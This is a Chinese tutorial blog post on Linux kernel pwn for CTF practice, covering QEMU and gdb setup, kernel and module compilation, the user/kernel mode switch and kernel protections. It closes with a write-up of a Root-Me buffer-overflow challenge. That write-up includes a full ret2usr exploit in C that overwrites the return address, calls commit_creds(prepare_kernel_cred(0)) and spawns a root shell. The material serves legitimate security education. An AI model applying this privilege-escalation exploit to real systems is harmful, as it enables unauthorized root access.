linux内核pwn,Linux Kernel Pwn 0:1

0x00 Setup#

基础概念#

vmlinux 是未压缩的可执行内核文件

vmlinuz 是压缩后的可执行文件 包括bzimage\zimage

initrd (initial ramdisk)是用于启动时临时引导硬件到内核的临时文件系统

内核向下控制管理硬件,向上提供应用运行环境

运行环境#

apt-get install qemu-system

启动命令示例

qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep

调试#

-s 选项打开gdb:1234调试

qemu-system-i386 -kernel ./bzImage -append "console=ttyS0 oops=panic panic=1" -initrd ./rootfs -nographic -sgdb -q

(gdb) set arch i386:x86-64

(gdb) target remote localhost:1234

文件系统#

将busybox或其他文件系统通过cpio打包即可,qemu启动时直接作为initrd启动

启动后根目录下的init脚本会被执行

find . | cpio -o -H newc > ./rootfs

编译内核#

编译环境#

坑:在Ubuntu新的版本中’ncurses-devel’是以’libncurses5-dev’命名的 sudo apt-get install ncurses-devel 定位不到包

sudo apt install libncurses5-dev ncurses-dev

sudo apt-get install libncurses* build-essential openssl zlibc minizip libidn11-dev libidn11 libssl-dev flex libncurses5-dev

下载源码#

wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.5.6.tar.xz

编译配置#

make mrproper

make menuconfig

配置好退出保存

make -j8 编译成vmlinux文件

make -j8 bzImage 编译成bzImage文件

开始漫长的编译

清理现场#

make clean

内核模块#

赛题中的kernel pwn出题点多在LKM的漏洞利用上

也是编译成可执行文件,但只能运行在内核上

补充Linux内核的功能,包括 文件系统或设备驱动等

#include #include #include

MODULE_LICENSE("GPL");

MODULE_AUTHOR("23333");

MODULE_DESCRIPTION("hello world module");

static int __init hello_init(void)

{

printk(KERN_WARNING "hello world.\n");

return 0;

}

static void __exit hello_exit(void)

{

printk(KERN_WARNING "hello exit!\n");

}

module_init(hello_init);

module_exit(hello_exit);

编译内核模块

obj-m := hello.o

KERNELBUILD := /home/xxx/linux-5.5.6

CURDIR := /home/xxx/Linux-Kernel/build/Test

modules:

make -C $(KERNELBUILD) M=$(CURDIR) modules

clean:

make -C $(KERNELBUILD) M=$(CURDIR) clean

内核模块的加载

insmod: 讲指定模块加载到内核中

rmmod: 从内核中卸载指定模块

lsmod: 列出已经加载的模块

内核使用的printk将输出打印到内核缓冲区而非标准输出

使用dmesg可以查看内核缓冲区的内容

找到赛题中的LKM#

解压文件系统,看init文件,找到insmod的模块地址

内核机制#

用户态运行于ring3

内核态运行于ring0

内核栈与用户栈是隔离的,传递参数时需要寄存器

切换的过程:

usr2kernel#

通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。

将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入RSP/ESP。

通过 push 保存各寄存器值

通过汇编指令判断是否为 x32_abi。

通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

kernel2usr#

通过 swapgs 恢复 GS 值

通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)

提权#

修改进程权限结构体cred

commit_creds(prepare_kernel_cred(0))

函数符号表#

cat /proc/kallsyms

模块节区表#

/sys/module/模块

add-symbol-file 加载

保护机制#

smep 当处理器处于 ring 0 模式,执行用户空间的代码会触发页错误。(在 arm 中该保护称为 PXN)

smap 当处理器处于 ring 0 模式,访问用户空间的数据会触发页错误。

MMAP_MIN_ADDR 控制着mmap能够映射的最低内存地址,防止用户非法分配并访问低地址数据

KASLR 内核地址空间布局随机化 允许kernel image加载到VMALLOC区域的任何位置

0x01 ret2usr#

[Root-Me]LinKern x86 – Buffer overflow basic 1#

拿到ko后缀的内核模块,拖进ida直接看

write行为中,copy_from_usr存在溢出

#include #include #include #include #include #include #include

//ret2usr时的恢复信息struct trap_frame{

void *eip;

uint32_t cs;

uint32_t eflags;

void *esp;

uint32_t ss;

}__attribute__((packed));

struct trap_frame tf;

static char receive[256];

//ret2usr后执行的shellvoid get_shell(void){

execl("/bin/sh", "sh", NULL);

}

//伪造现场信息void init_tf_work(void){

asm("pushl %cs;popl tf+4;" //set cs "pushfl;popl tf+8;" //set eflags "pushl %esp;popl tf+12;"

"pushl %ss;popl tf+16;");

tf.eip = &get_shell;

tf.esp -= 1024;

}

//提权#define KERNCALL __attribute__((regparm(3)))void* (*prepare_kernel_cred)(void*) KERNCALL = (void*) 0xC10711F0;

void* (*commit_creds)(void*) KERNCALL = (void*) 0xC1070E80;

void payload(void){

commit_creds(prepare_kernel_cred(0));

asm("mov $tf,%esp;"

"iret;");

}

int main(void){

char Padding[9] = "AAAAAAAA";

char Eip[5];

init_tf_work();

int fd = open("/dev/tostring",2);

for(int i = 0;i < 0x40; i++)

write(fd,Padding,sizeof(Padding));

write(1,"OK!n",sizeof(Eip));

*((void**)(Eip)) = &payload;

write(fd,Eip,sizeof(Eip));

read(fd,receive,255);

return 0;

}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值